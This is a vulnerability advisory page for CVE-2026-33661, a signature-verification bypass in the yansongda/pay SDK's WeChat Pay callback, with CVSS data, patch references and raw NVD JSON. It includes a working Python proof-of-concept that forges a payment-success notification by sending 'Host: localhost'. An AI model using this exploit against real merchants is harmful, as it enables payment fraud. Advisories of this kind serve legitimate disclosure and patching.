Security Vulnerability Report
中文
CVE-2026-33661 CVSS 8.6 HIGH

CVE-2026-33661

Published: 2026-03-26 22:16:30
Last Modified: 2026-04-01 13:47:24

Description

Pay is an open-source payment SDK extension package for various Chinese payment services. Prior to version 3.7.20, the `verify_wechat_sign()` function in `src/Functions.php` unconditionally skips all signature verification when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely. This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment. Version 3.7.20 fixes the issue.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:yansongda:pay:*:*:*:*:*:*:*:* - VULNERABLE
yansongda/pay < 3.7.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_poc(target_url): """ PoC for CVE-2026-33661 Bypass signature verification by setting Host header to localhost. """ # Malicious payload simulating a successful payment notification # The actual content does not matter as verification is skipped data = { "out_trade_no": "VULNERABLE_ORDER_ID", "result_code": "SUCCESS", "total_fee": "10000" } # The critical header that triggers the vulnerability headers = { "Host": "localhost", "User-Agent": "PoC-Client/1.0", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[+] Sending exploit request to {target_url}...") response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[!] Request sent successfully. Check if order status changed.") print(f"[+] Response: {response.text}") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {str(e)}") if __name__ == "__main__": target = "http://example.com/api/payment/callback/wechat" # Replace with actual target exploit_poc(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33661", "sourceIdentifier": "[email protected]", "published": "2026-03-26T22:16:29.560", "lastModified": "2026-04-01T13:47:23.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pay is an open-source payment SDK extension package for various Chinese payment services. Prior to version 3.7.20, the `verify_wechat_sign()` function in `src/Functions.php` unconditionally skips all signature verification when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely. This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment. Version 3.7.20 fixes the issue."}, {"lang": "es", "value": "Pay es un paquete de extensión de SDK de pago de código abierto para varios servicios de pago chinos. Antes de la versión 3.7.20, la función `verify_wechat_sign()` en `src/Functions.php` omite incondicionalmente toda la verificación de firma cuando la solicitud PSR-7 informa localhost como el host. Un atacante puede explotar esto enviando una solicitud HTTP manipulada al endpoint de callback de WeChat Pay con un encabezado Host: localhost, eludiendo por completo la verificación de firma RSA. Esto permite falsificar notificaciones de éxito de pago falsas de WeChat Pay, lo que podría hacer que las aplicaciones marquen los pedidos como pagados sin un pago real. La versión 3.7.20 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:yansongda:pay:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.7.20", "matchCriteriaId": "EB442148-12BE-4EE8-A5C6-99501BC4C1B2"}]}]}], "references": [{"url": "https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/yansongda/pay/releases/tag/v3.7.20", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}